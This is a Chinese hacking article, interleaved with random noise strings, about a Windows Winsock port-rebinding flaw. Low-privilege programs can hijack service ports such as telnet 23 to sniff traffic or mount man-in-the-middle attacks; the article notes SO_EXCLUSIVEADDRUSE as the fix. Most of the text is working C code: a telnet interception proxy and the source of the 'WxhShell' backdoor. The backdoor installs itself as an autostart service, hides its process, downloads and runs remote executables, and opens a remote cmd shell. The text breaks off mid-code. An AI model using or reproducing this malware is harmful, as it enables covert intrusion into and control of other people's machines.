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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -KA Y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oWP3Y. t)__J\xF saddr.sin_family = AF_INET; !C3ozZ< p\).zuEf. saddr.sin_addr.s_addr = htonl(INADDR_ANY); \YZ7 f$|AU-|< bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d H ; :g~X"C1s 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W)z@>4`Bb M}Obvl 这意味着什么?意味着可以进行如下的攻击: H~ `JAplr 9V0@!M8S 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X?gH(mn u$%;03hJ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V\6V&_ NSV;R~" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N, SbJ Z 6Qw5_V^0o 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 {Yc#XP M7PGs-l 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H)rE-7(f! ~C31=\$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7mBH#Q) qdQQt5Y'm 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b uOpHQn G}V5PEF]` #include dVKctt'C #include WXmR{za #include (
C~ u. #include 6cVJu%<V DWORD WINAPI ClientThread(LPVOID lpParam); hYSzr-) int main() |EZ\+!8N:{ { /!A?>#O&. WORD wVersionRequested; |?\J,h DWORD ret; .EB'n{zxd WSADATA wsaData; 2AdO BOOL val; }v4T&/vt- SOCKADDR_IN saddr; S(ky: SOCKADDR_IN scaddr; {^*K@c int err; M$$Lsb [ SOCKET s; UpFm3gKF SOCKET sc; 8_=MP[(H int caddsize; -
U Elu4n& HANDLE mt; Q^ }Ib[ DWORD tid; N_liKhq wVersionRequested = MAKEWORD( 2, 2 ); #<o=W#[ err = WSAStartup( wVersionRequested, &wsaData ); 8$~^-_>n/ if ( err != 0 ) { 8k_cC$*Ng printf("error!WSAStartup failed!\n"); r>_40+|& return -1; uFYcVvbT@ } _L%
=Q ulu saddr.sin_family = AF_INET; (8td0zq
TMw6
EM //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T?k!%5,Kj H~<w*[uT saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Xx?~%o6 saddr.sin_port = htons(23); 4'#?"I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y_=
]w1 { ?^gq printf("error!socket failed!\n"); xRbtiFk9H return -1; n`.JI(| } {v,NNKQ4x val = TRUE; <^(>o //SO_REUSEADDR选项就是可以实现端口重绑定的 &HB!6T/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `
#; " { %X**( printf("error!setsockopt failed!\n"); t_kRYdW 9 return -1; ^^T
xx } gaWJzK
Yc_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PrhGp
_5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?p&( Af) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5kLz8n^z@@ a)QSq<2* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UW'@3#<? { @iBaJ"*, ret=GetLastError(); v(P5)R, printf("error!bind failed!\n"); V.}3d,Em%] return -1; ,FL*Z9wA } 8k )i-&R listen(s,2); #<DS-^W! while(1) D}~uxw;[^ { 0b}.!k9 caddsize = sizeof(scaddr); 9>r@wK'Pn //接受连接请求 _sK{qQxvM= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I~Q
G if(sc!=INVALID_SOCKET) zuS4N?t`p { I9L7,~s mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8EY]<#PN if(mt==NULL) ]([^(&2 { TjS&V printf("Thread Creat Failed!\n"); -"6Z@8= break; #|/+znJm } |ZG0E } 0M!GoqaA CloseHandle(mt); 6h7TM?lt } k:8NOx|s " closesocket(s); Ff1!+P, WSACleanup(); Ch_eK^ g1 return 0; SBg|V } kD}vK+ DWORD WINAPI ClientThread(LPVOID lpParam) U+,RP$r@ { hA1p# SOCKET ss = (SOCKET)lpParam; r7FpR! SOCKET sc; `_SV1|=="8 unsigned char buf[4096]; ;_#<a*f SOCKADDR_IN saddr; 1s.>_ long num; $|t={s34 DWORD val; Nx"|10gC DWORD ret; bnZ H //如果是隐藏端口应用的话,可以在此处加一些判断 x(A8FtG //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 A<+1:@0 saddr.sin_family = AF_INET; >D% saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gxmY^"Jy saddr.sin_port = htons(23); XTRF IY if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9.B gsV . { 1#9PE(!2 printf("error!socket failed!\n"); Py#TXzEcC return -1; s8dP=_ ` } -vv_6ZL[ val = 100; 0i>p1/kv if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {E0\mZ2 { ]QGo(+ ret = GetLastError(); \h?6/@3ob return -1; 2I283%xr } 1024L; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qWJHb Dd { |g'ceG- ret = GetLastError(); )iid9K<HB return -1; Zv(6VVj } 2R W~jn" if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) frc9 { GK;IY=8W printf("error!socket connect failed!\n"); Tn9Fg7< closesocket(sc); Eu<f closesocket(ss); lOM8%{.'_x return -1; 11c\C Iu } USaa#s4' while(1) \01 kK) { m&s>Sn+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L4Kg%icz l //如果是嗅探内容的话,可以再此处进行内容分析和记录 qOIVuzi* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,U)&ny num = recv(ss,buf,4096,0); xGFbh4H=8p if(num>0) CM%;/[WBxy send(sc,buf,num,0); +o):grWvQ else if(num==0) T+B8SZw#}! break; eiXl"R^ num = recv(sc,buf,4096,0); +TX4," if(num>0) RR'sW@ send(ss,buf,num,0); pe<T"[X else if(num==0) e=aU9v
L break; 8I Ip,#%v } g*`xEb=' closesocket(ss); sT "q] closesocket(sc); '$eJATtC return 0 ; oz]&=>$1I } *_7/'0E(3 "R=~-, ~ @WJ\W `P ========================================================== :KR
KD e6bh,BwgQq 下边附上一个代码,,WXhSHELL 7\[fjCg\w Z`86YYGK ========================================================== 8Lgm50bs H?!DcUg CC #include "stdafx.h" yimK"4!j5A W/b)OlG"2 #include <stdio.h> aEh9za #include <string.h> [~X&J# #include <windows.h> */_ 'pt #include <winsock2.h> BFg&@7.X #include <winsvc.h> -(>Ch>O #include <urlmon.h> Ok|Dh;1_ U]w"T{;@.) #pragma comment (lib, "Ws2_32.lib") iK+Vla`} #pragma comment (lib, "urlmon.lib") SWY M_-L#FHX #define MAX_USER 100 // 最大客户端连接数 pT3icy!A= #define BUF_SOCK 200 // sock buffer uv<_.Jq] #define KEY_BUFF 255 // 输入 buffer f8aY6o"i Pqw<nyC. #define REBOOT 0 // 重启 Xx%<rsA>F #define SHUTDOWN 1 // 关机 `CC=?E yP>025o't #define DEF_PORT 5000 // 监听端口 UV0[S8A E`V\/`5D #define REG_LEN 16 // 注册表键长度 K)se$vb6 #define SVC_LEN 80 // NT服务名长度 #^Pab^Y3r- m{?f,Q=u@ // 从dll定义API Crg'AB? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y1T(R# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,W|-?b? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |FM*1Q[1 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OXbShA&1 T_=WX_h $ // wxhshell配置信息 MpGG}J[y struct WSCFG { EG|dN(qh int ws_port; // 监听端口 D>@NYqMF char ws_passstr[REG_LEN]; // 口令 c.b| RM0; int ws_autoins; // 安装标记, 1=yes 0=no o|xZ?#^h char ws_regname[REG_LEN]; // 注册表键名 FKz5,PeL char ws_svcname[REG_LEN]; // 服务名 e0(aRN{W char ws_svcdisp[SVC_LEN]; // 服务显示名 #vxq|$e char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uc'}y!R char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u:2Ll[ eo int ws_downexe; // 下载执行标记, 1=yes 0=no $7c,<= char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" u4w!SD char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Owi/e _p+E(i 9 }; b=_k)h+l RR
^7/- // default Wxhshell configuration rzn,NFI struct WSCFG wscfg={DEF_PORT, D\9-/p "xuhuanlingzhe", %dg[ho 1, )%MC*Z:^ "Wxhshell", oD9n5/ozo "Wxhshell", ^Y%_{
"WxhShell Service", S6JXi>n "Wrsky Windows CmdShell Service", 9jqsEd-SW "Please Input Your Password: ", 0V(}Zj> 1, z]+L=+,, " http://www.wrsky.com/wxhshell.exe", C-;w}
"Wxhshell.exe" dCTyfXou[= }; z|D*ymz*EY Cd"{7<OyM4 // 消息定义模块 |?2fq&2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $=N?[h&4 char *msg_ws_prompt="\n\r? for help\n\r#>"; ektU,Oo char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; lYJSg70P char *msg_ws_ext="\n\rExit."; @;P ;iI char *msg_ws_end="\n\rQuit."; !p/?IW+ char *msg_ws_boot="\n\rReboot..."; CCe>*tdf char *msg_ws_poff="\n\rShutdown..."; v#/Gxk9eX char *msg_ws_down="\n\rSave to "; ChG7>4:\ {#k[-\|; char *msg_ws_err="\n\rErr!"; \"nut7";2 char *msg_ws_ok="\n\rOK!"; *1<kYrB 5HV+7zU5 char ExeFile[MAX_PATH]; aYb97}kI int nUser = 0; Dz6xx? HANDLE handles[MAX_USER]; mQ"uG?NE int OsIsNt; ()l3X.t,$ @|vH5Pi SERVICE_STATUS serviceStatus; 0zB[seyE SERVICE_STATUS_HANDLE hServiceStatusHandle; 4F6aPo2 |50sGJE( // 函数声明 oIj=ba(n1 int Install(void); ZDW=>}~_y int Uninstall(void); OpEH4X.Z int DownloadFile(char *sURL, SOCKET wsh); f(Of+> int Boot(int flag); y]fI7nu& void HideProc(void); ?l^Xauk4Pj int GetOsVer(void); SULFAf< int Wxhshell(SOCKET wsl); "U-jZ5o" void TalkWithClient(void *cs); 3>aEP5 int CmdShell(SOCKET sock); nJ2x;';lA int StartFromService(void); 96(Mu% l int StartWxhshell(LPSTR lpCmdLine); }Pg}"fb^ _b~{/[s VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tO3R&"{ VOID WINAPI NTServiceHandler( DWORD fdwControl ); {4G/HW28 jfY7ich // 数据结构和表定义 p/HDG
^T:u SERVICE_TABLE_ENTRY DispatchTable[] = Tn#Co$< { P.,U>m {wscfg.ws_svcname, NTServiceMain}, EyE#x_A {NULL, NULL} '|zrzU= }; Nhjq.& 0+* NHiH // 自我安装 YOD.y!.zq7 int Install(void) -SrZ^ { #4msBax4 char svExeFile[MAX_PATH]; PC#^L$cg} HKEY key; o[Jzx2A< strcpy(svExeFile,ExeFile); P9
<U+\z xV)[C )6 // 如果是win9x系统,修改注册表设为自启动 "%gsGtS if(!OsIsNt) { V*uE83x1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ukW&\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 27e!KG[& RegCloseKey(key); Hsf::K x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -)`_w^Ox RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'BjTo*TB]Z RegCloseKey(key); ) CP return 0; (90/,@66l } 4N,mcV } y2G Us&09 } JL1ajlm~ else { x;n3 Zr;( >X*tMhcb // 如果是NT以上系统,安装为系统服务 t;e&[eg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h xO}'`: if (schSCManager!=0) YX0ysE*V:& { -b(DPte SC_HANDLE schService = CreateService M3pE$KT0x ( BNu >/zGpB schSCManager, k {*QU( wscfg.ws_svcname, Lnr9*dm6q wscfg.ws_svcdisp, iVXt@[ SERVICE_ALL_ACCESS, z%82Vt!a5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6p9fq3~7Y SERVICE_AUTO_START, zw/AZLS SERVICE_ERROR_NORMAL, Jj"{C] svExeFile, )/T[Cnx.Nc NULL, Y}:~6`-jj NULL, 2r,
c{Ah@D NULL, f!9i6 NULL, ~dYCY_a NULL UerbNz| ); k?+ 7%A] if (schService!=0) [n2B6Px { 'NEl`v*<P CloseServiceHandle(schService); uE-(^u CloseServiceHandle(schSCManager); D|:'|7l W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kA:mB;: strcat(svExeFile,wscfg.ws_svcname); oP&/>GmXL if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?d7,0Ex
P RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p}1i[//S RegCloseKey(key); tn]nl!_@ return 0; AUnfhk@$ } ]juPm8eF } Eb8pM>'qM CloseServiceHandle(schSCManager); m=dNJF } O=B=0 }
G 3Z"U ,>;21\D
return 1; fkA+:j~z_ } 17LhgZs& Npp YUY // 自我卸载 =8AT[.Hh int Uninstall(void) x/*lNG/ { Ez3fL&* HKEY key; -$Oh.B`i Q Be6\oq if(!OsIsNt) { &d_^k.%y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vao:9~ RegDeleteValue(key,wscfg.ws_regname); n6/Ous RegCloseKey(key); 9]4Q@% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mUYRioNj RegDeleteValue(key,wscfg.ws_regname); l/.{F ;3F RegCloseKey(key); 66yw[,Y return 0; ]G/m,Zv*: } ]PXM;w } Abc{<4 z0? } )(iv#;ByL else { O0 'iq^g ^_2c\mw_I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FuhmLm'p if (schSCManager!=0) t R^f]+Up { ++cS^ Lo SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &7L7|{18 if (schService!=0) vObZ|>.J~O { jK|n^5\ if(DeleteService(schService)!=0) { ~ao:9ynY CloseServiceHandle(schService); ;Afz`Se1@ CloseServiceHandle(schSCManager); ACszx\[K3 return 0; iT]t`7R } a<cwrDZ CloseServiceHandle(schService); iRQ!J1SGcG } E C#0-,z CloseServiceHandle(schSCManager); kDmm } _$~>O7 } ).~
" c*bvZC^6 return 1; <,i4Ua } ,AP&N'
9*qwXU_aV // 从指定url下载文件 C6!F6Stn]g int DownloadFile(char *sURL, SOCKET wsh) s68(jYC7[ { ;mQj2Bwr HRESULT hr; D,#UJPyg char seps[]= "/"; -3K h
>b) char *token; I)HO/i6>3 char *file; &:&'70Ya char myURL[MAX_PATH]; \Kl20? char myFILE[MAX_PATH]; GVY7`k"km a6{Zp{"Y strcpy(myURL,sURL); sf*4|P} token=strtok(myURL,seps); ,H=k5WA4m while(token!=NULL) mLCDN1UO{ { x,B] J4 file=token; (t&RFzE?G token=strtok(NULL,seps); dGKo!;7{ } \YP,}_~ \xYVnjG, GetCurrentDirectory(MAX_PATH,myFILE); )[rVg/m strcat(myFILE, "\\"); uwwR$
(\7 strcat(myFILE, file); @16GF!. send(wsh,myFILE,strlen(myFILE),0); wgl <JO send(wsh,"...",3,0); QiK>]xJ' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?sN{U\ if(hr==S_OK) wZvv5:jKpu return 0; mjeJoMvN)H else J%"BCbxW~B return 1; xo>0j# FnvpnU", } c^}y9% 4c ,54z9F` // 系统电源模块 7;jD>wp9D int Boot(int flag) ;V,L_"/X { 4BCPh: HANDLE hToken; H|%J" TOKEN_PRIVILEGES tkp; [.#nM c'oiW)8;A if(OsIsNt) { I&-r^6Yx OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nI:M!j5s` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8dE0y P tkp.PrivilegeCount = 1; W!{RJWe tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VF`!ks AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z,,"yVk`, if(flag==REBOOT) { \^)i!@v if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T$;S return 0; .psb#4 } /U;j-m& else { ifDWN*k6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1 Pk+zBJ$ return 0; PaCCUF } |ADf~-AY } dl4n-*h else { ?eS;Yc if(flag==REBOOT) { ~$J;yo~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s~M$Wo8 return 0; Am,{Fj } ,rMf;/[ else { uu6 JZp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #9,8{ O" return 0; Xm#W}Y' } \U:OQ.e } qo[[P)tq Y`g o V return 1; y3~`qq } r8 9o AjK5x@\ // win9x进程隐藏模块 | 6{JINW void HideProc(void) aC1z.?!U { <^YvgQ,m C.?^] Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !v8R( if ( hKernel != NULL ) 5*44QV { 6 byeO&d pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZiPeP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )LGVR3# FreeLibrary(hKernel); z/\OtYz } Lm[,^k gX"-3w return; 71{Q#%5U~ } L3b0e_8>R [FBS|v#T // 获取操作系统版本 ,5W7a int GetOsVer(void) Sr
\y1nt { (WHgB0{ OSVERSIONINFO winfo; 9~hW8{# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q/@2=$]hH3 GetVersionEx(&winfo); ?^U? ua6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F!z ^0+H( return 1; g+B7~Z5, else p7QZn.,=u return 0; :i&]J$^; }
E0!d c f#z:ILG= // 客户端句柄模块 Lg<h54X int Wxhshell(SOCKET wsl) +,,(8=5g { r;{$x SOCKET wsh; %SC Jmn2 struct sockaddr_in client;
,IB\1# DWORD myID; #LR4%}mg '8]p]#l while(nUser<MAX_USER) x$q} lJv_ { p3vf7 eqn int nSize=sizeof(client); 8&U
Mmbgy wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1["i,8zB if(wsh==INVALID_SOCKET) return 1; _0+X32HjJ f-18nF7{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p6%V f if(handles[nUser]==0) 6 J>A U closesocket(wsh); JU17]gQ else j&X&&=
nUser++; )
A:h } {wC*61@1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =!t;e~^8] &{e ]S!D return 0; Z3JUYEAS } qFWN._R ]A2E2~~G // 关闭 socket %W~w\mT void CloseIt(SOCKET wsh) [2-n*a(q { SOI=~BGd) closesocket(wsh); G%sq;XT61 nUser--; d3:GmB . ExitThread(0); l Xa/5QKC } :EOai%i p{5m5x // 客户端请求句柄 US$$ADq void TalkWithClient(void *cs) O q$_ q { 0BDw}E\ (T*$4KGV SOCKET wsh=(SOCKET)cs; &IN%2c char pwd[SVC_LEN]; d/R!x{$-f char cmd[KEY_BUFF]; estiS char chr[1]; +51heuu[o int i,j; 9nN1f@Y )I&.6l!#
while (nUser < MAX_USER) { =sk[I0W ZGZNZ}~# if(wscfg.ws_passstr) { 7(1`,Y
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {R ),7U8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U,P>P+\@ //ZeroMemory(pwd,KEY_BUFF); V~/G,3:0y% i=0; bVzi^R" while(i<SVC_LEN) { ],SQD3~9 <kFLwF?PM' // 设置超时 b;b,t0wS fd_set FdRead;
I6
?(@, struct timeval TimeOut; t}eyfflZ FD_ZERO(&FdRead); Wa|V~PL+T FD_SET(wsh,&FdRead); jae9!Wi TimeOut.tv_sec=8; 5csh8i'V TimeOut.tv_usec=0; Mm$\j*f/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \<pr28
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y]SF0:v!n h&i*=&<HP6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ! $$>D" pwd =chr[0]; pbAL& } if(chr[0]==0xd || chr[0]==0xa) { gQr+~O pwd=0; ]"_c-= break; H<Sf0>OA } L"&T3i i++; e>z"{ u(F0 } yus3GqPI Dylm=ZZa // 如果是非法用户,关闭 socket I&+.I K_ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _4N.]jr5 } N_T5sZ\ w1G(s$;C send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #r9+thyC send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hty'L61\z m,Y/ke\ while(1) { &DMC\R* j kxhsDD$@p ZeroMemory(cmd,KEY_BUFF); 1w=.vj<d8 jUm-!SK}q // 自动支持客户端 telnet标准 Em(_W5
ND{ j=0; fi
HE`]0 while(j<KEY_BUFF) { %NQ%6B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ceG\Q2 cmd[j]=chr[0]; `9r{z;UQ if(chr[0]==0xa || chr[0]==0xd) { .~o{i_JH cmd[j]=0;
=c@hE'{ break; =v<w29P(g } mEJ7e# j++; w<H Xe } 3 ZOD2:( %<>:$4U@] // 下载文件 Gt&yz"?D if(strstr(cmd,"http://")) { z[f]mU send(wsh,msg_ws_down,strlen(msg_ws_down),0); CC=I|/mBM if(DownloadFile(cmd,wsh)) ^# $IoW send(wsh,msg_ws_err,strlen(msg_ws_err),0); @_C]5D^J^~ else rT `sY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +DRt2a# } -
jZAvb else { J920A^)j! PaSwfjOnqr switch(cmd[0]) { %d+Fq=< Z@euO~e~ // 帮助 >3/mV<g f case '?': { 1e[?}q]* send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C?|sQcCE break; Hpix:To } ^Z)7Z%
O // 安装 .8QhJHwd case 'i': { (/uN+ if(Install()) Ze%S<xT!O send(wsh,msg_ws_err,strlen(msg_ws_err),0); QqF<HCO else G
T~rr*X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tp-W/YC break; N[Xm5J } j['B9vG // 卸载 1EWZA case 'r': { ED>a'y$f if(Uninstall()) Wcm8,?* send(wsh,msg_ws_err,strlen(msg_ws_err),0); )}t't" else mZjpPlJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7q5*grm break; ,LxkdV } j-DWz>x // 显示 wxhshell 所在路径 Vo6g /h?` case 'p': { fGRV]6?V char svExeFile[MAX_PATH]; }&==;7,O strcpy(svExeFile,"\n\r"); vUOl@UQ5 strcat(svExeFile,ExeFile); Jyr
V2Tk^ send(wsh,svExeFile,strlen(svExeFile),0); I3d}DpPx% break; '
2O@ } a/1;|1a. // 重启 Hrph>v case 'b': { J_m@YkK send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ffBd if(Boot(REBOOT)) @qj]`}Gx' send(wsh,msg_ws_err,strlen(msg_ws_err),0); BMu Efa^ else { =6"5kz10 closesocket(wsh); SW'eTG ExitThread(0); ASre@pW } ;ko6igx)+ break; i. (Af$ } <c:H u{D // 关机 2lOUNx Q$ case 'd': { :."oWqb) send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GQ>0E if(Boot(SHUTDOWN)) Gn_DIFa send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( N};.DB1Y else { w^$C\bCbh closesocket(wsh); X;Sb^c"j1 ExitThread(0); 1EEcNtpub] } |%mZ|,[ break; n-yUt72 } ^2+Vt=* // 获取shell LdN[N^n[H case 's': { v$Hz)J.01 CmdShell(wsh); Q{L:pce- closesocket(wsh); T,1qR:58 ExitThread(0); @z{SDM break; WKlyOK=} } nReld
:#T // 退出 p\lR1 case 'x': { *Q/^ib9= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %xOxMK@ CloseIt(wsh); >RAg63!` break; ,f$P[c } ( I#6!Yt9J // 离开 ]rH[+t- case 'q': { 10*Tk 8 send(wsh,msg_ws_end,strlen(msg_ws_end),0); o,dp{+({ closesocket(wsh); X )tH23 WSACleanup(); 7Y(Dg`8G exit(1); &{a!)I> break; =2Yt[8'; } Kq-1 b } 0#!}s&j/ } c&',#.9 3WGE T[3 // 提示信息 ^Z?m)qxvB if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jgIG";:Q } cOX )+53 } tjb$MW$(' dR1IndZl return; O8A1200 } aH'fAX0bF
<KU0K // shell模块句柄 0lg'QG> int CmdShell(SOCKET sock) +u0of^}= { D5@=#/?* STARTUPINFO si; nsU7cLf"^V ZeroMemory(&si,sizeof(si)); w
a(Y[]V si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RdWn =; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t8EI"| PROCESS_INFORMATION ProcessInfo; yj4"eDg] char cmdline[]="cmd"; @gK`RmhGE5 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9u{[e" return 0; .eD&UQ } xOj#%; (l{8Ixs // 自身启动模式 Yp;Z+!!UZ int StartFromService(void) w!6{{m { V=8db%^ typedef struct ~
O#\$u { <$z[pw< DWORD ExitStatus; 49=pB,H;H DWORD PebBaseAddress; l+"p$iZs DWORD AffinityMask; +d\o|}c DWORD BasePriority; )Y)_T&O ULONG UniqueProcessId; #RR;?`,L} ULONG InheritedFromUniqueProcessId; @e3+Gs } PROCESS_BASIC_INFORMATION; oLKliA=q $5 mGYF] PROCNTQSIP NtQueryInformationProcess; r4SwvxhG c8X;4
